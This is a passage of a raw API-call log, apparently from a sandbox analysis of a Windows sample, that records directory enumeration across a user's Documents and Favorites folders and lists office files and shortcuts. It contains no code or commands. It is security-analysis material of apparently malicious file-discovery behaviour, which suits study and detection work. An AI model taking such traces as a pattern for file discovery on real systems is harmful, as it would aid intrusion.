lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x824549f0, ftCreationTime.dwHighDateTime=0x1d4ce0e, ftLastAccessTime.dwLowDateTime=0x731cfcb0, ftLastAccessTime.dwHighDateTime=0x1d4cee1, ftLastWriteTime.dwLowDateTime=0x731cfcb0, ftLastWriteTime.dwHighDateTime=0x1d4cee1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.699] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x824549f0, ftCreationTime.dwHighDateTime=0x1d4ce0e, ftLastAccessTime.dwLowDateTime=0x731cfcb0, ftLastAccessTime.dwHighDateTime=0x1d4cee1, ftLastWriteTime.dwLowDateTime=0x731cfcb0, ftLastWriteTime.dwHighDateTime=0x1d4cee1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.699] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85ff2c20, ftCreationTime.dwHighDateTime=0x1d4c9c5, ftLastAccessTime.dwLowDateTime=0xd4d72a90, ftLastAccessTime.dwHighDateTime=0x1d4ce30, ftLastWriteTime.dwLowDateTime=0xd4d72a90, ftLastWriteTime.dwHighDateTime=0x1d4ce30, nFileSizeHigh=0x0, nFileSizeLow=0x5015, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="a--g-.xls", cAlternateFileName="")) returned 1 [0111.699] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21bcf20, ftCreationTime.dwHighDateTime=0x1d4c566, ftLastAccessTime.dwLowDateTime=0x5d1d8e90, ftLastAccessTime.dwHighDateTime=0x1d4c903, ftLastWriteTime.dwLowDateTime=0x5d1d8e90, ftLastWriteTime.dwHighDateTime=0x1d4c903, nFileSizeHigh=0x0, nFileSizeLow=0x38d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bVolNUdnBKCJzp4l.odp", cAlternateFileName="BVOLNU~1.ODP")) returned 1 [0111.699] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x676967a0, ftCreationTime.dwHighDateTime=0x1d4ca81, ftLastAccessTime.dwLowDateTime=0x76c41830, ftLastAccessTime.dwHighDateTime=0x1d4d201, ftLastWriteTime.dwLowDateTime=0x76c41830, ftLastWriteTime.dwHighDateTime=0x1d4d201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LFwoVJrFDf", cAlternateFileName="LFWOVJ~1")) returned 1 [0111.699] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x676967a0, ftCreationTime.dwHighDateTime=0x1d4ca81, ftLastAccessTime.dwLowDateTime=0x76c41830, ftLastAccessTime.dwHighDateTime=0x1d4d201, ftLastWriteTime.dwLowDateTime=0x76c41830, ftLastWriteTime.dwHighDateTime=0x1d4d201, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LFwoVJrFDf", cAlternateFileName="LFWOVJ~1")) returned 0 [0111.699] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.699] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zmTKLzB\\") returned="zmTKLzB\\" [0111.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0111.699] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.699] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.699] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.699] PathFindFileNameW (pszPath="") returned="" [0111.699] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\zmTKLzB\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf47b160, ftCreationTime.dwHighDateTime=0x1d4d1a4, ftLastAccessTime.dwLowDateTime=0xf25400e0, ftLastAccessTime.dwHighDateTime=0x1d4cf28, ftLastWriteTime.dwLowDateTime=0xf25400e0, ftLastWriteTime.dwHighDateTime=0x1d4cf28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.700] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf47b160, ftCreationTime.dwHighDateTime=0x1d4d1a4, ftLastAccessTime.dwLowDateTime=0xf25400e0, ftLastAccessTime.dwHighDateTime=0x1d4cf28, ftLastWriteTime.dwLowDateTime=0xf25400e0, ftLastWriteTime.dwHighDateTime=0x1d4cf28, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.700] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ddd7e00, ftCreationTime.dwHighDateTime=0x1d4d104, ftLastAccessTime.dwLowDateTime=0xfde36f70, ftLastAccessTime.dwHighDateTime=0x1d4c840, ftLastWriteTime.dwLowDateTime=0xfde36f70, ftLastWriteTime.dwHighDateTime=0x1d4c840, nFileSizeHigh=0x0, nFileSizeLow=0x88c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-qKyf.pps", cAlternateFileName="")) returned 1 [0111.700] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb9e1f0, ftCreationTime.dwHighDateTime=0x1d4d56f, ftLastAccessTime.dwLowDateTime=0x14c8b8f0, ftLastAccessTime.dwHighDateTime=0x1d4d1bd, ftLastWriteTime.dwLowDateTime=0x14c8b8f0, ftLastWriteTime.dwHighDateTime=0x1d4d1bd, nFileSizeHigh=0x0, nFileSizeLow=0xc326, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9jgmDCVjOmsoi8li3M.odp", cAlternateFileName="9JGMDC~1.ODP")) returned 1 [0111.700] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb9e1f0, ftCreationTime.dwHighDateTime=0x1d4d56f, ftLastAccessTime.dwLowDateTime=0x14c8b8f0, ftLastAccessTime.dwHighDateTime=0x1d4d1bd, ftLastWriteTime.dwLowDateTime=0x14c8b8f0, ftLastWriteTime.dwHighDateTime=0x1d4d1bd, nFileSizeHigh=0x0, nFileSizeLow=0xc326, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9jgmDCVjOmsoi8li3M.odp", cAlternateFileName="9JGMDC~1.ODP")) returned 0 [0111.700] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.700] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\") returned="Links\\" [0111.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0111.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.701] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.701] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.701] PathFindFileNameW (pszPath="") returned="" [0111.701] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.701] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.701] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x50, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0111.701] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52cd1930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52fcb4b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Suggested Sites.url", cAlternateFileName="SUGGES~1.URL")) returned 1 [0111.701] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 1 [0111.701] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d9517a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0xe2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Web Slice Gallery.url", cAlternateFileName="WEBSLI~1.URL")) returned 0 [0111.701] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.701] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.701] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\") returned="Microsoft Websites\\" [0111.702] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0111.702] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.702] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.702] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.702] PathFindFileNameW (pszPath="") returned="" [0111.702] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.703] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.703] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE Add-on site.url", cAlternateFileName="IEADD-~1.URL")) returned 1 [0111.703] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IE site on Microsoft.com.url", cAlternateFileName="IESITE~1.URL")) returned 1 [0111.703] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Home.url", cAlternateFileName="MICROS~3.URL")) returned 1 [0111.703] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft At Work.url", cAlternateFileName="MICROS~2.URL")) returned 1 [0111.703] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 1 [0111.703] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x86, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Store.url", cAlternateFileName="MICROS~1.URL")) returned 0 [0111.703] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.704] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.704] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\") returned="MSN Websites\\" [0111.704] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0111.704] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.704] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.704] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.704] PathFindFileNameW (pszPath="") returned="" [0111.704] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.706] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.706] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1 [0111.706] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Entertainment.url", cAlternateFileName="MSNENT~1.URL")) returned 1 [0111.706] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Money.url", cAlternateFileName="MSNMON~1.URL")) returned 1 [0111.706] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Sports.url", cAlternateFileName="MSNSPO~1.URL")) returned 1 [0111.706] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN.url", cAlternateFileName="")) returned 1 [0111.706] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 1 [0111.706] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d86cf60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSNBC News.url", cAlternateFileName="MSNBCN~1.URL")) returned 0 [0111.706] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0111.707] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0111.707] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\") returned="Windows Live\\" [0111.707] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0111.707] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.707] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.707] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.707] PathFindFileNameW (pszPath="") returned="" [0111.707] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.709] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.709] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Get Windows Live.url", cAlternateFileName="GETWIN~1.URL")) returned 1 [0111.709] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d8930c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live Gallery.url", cAlternateFileName="WINDOW~2.URL")) returned 1 [0111.709] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | 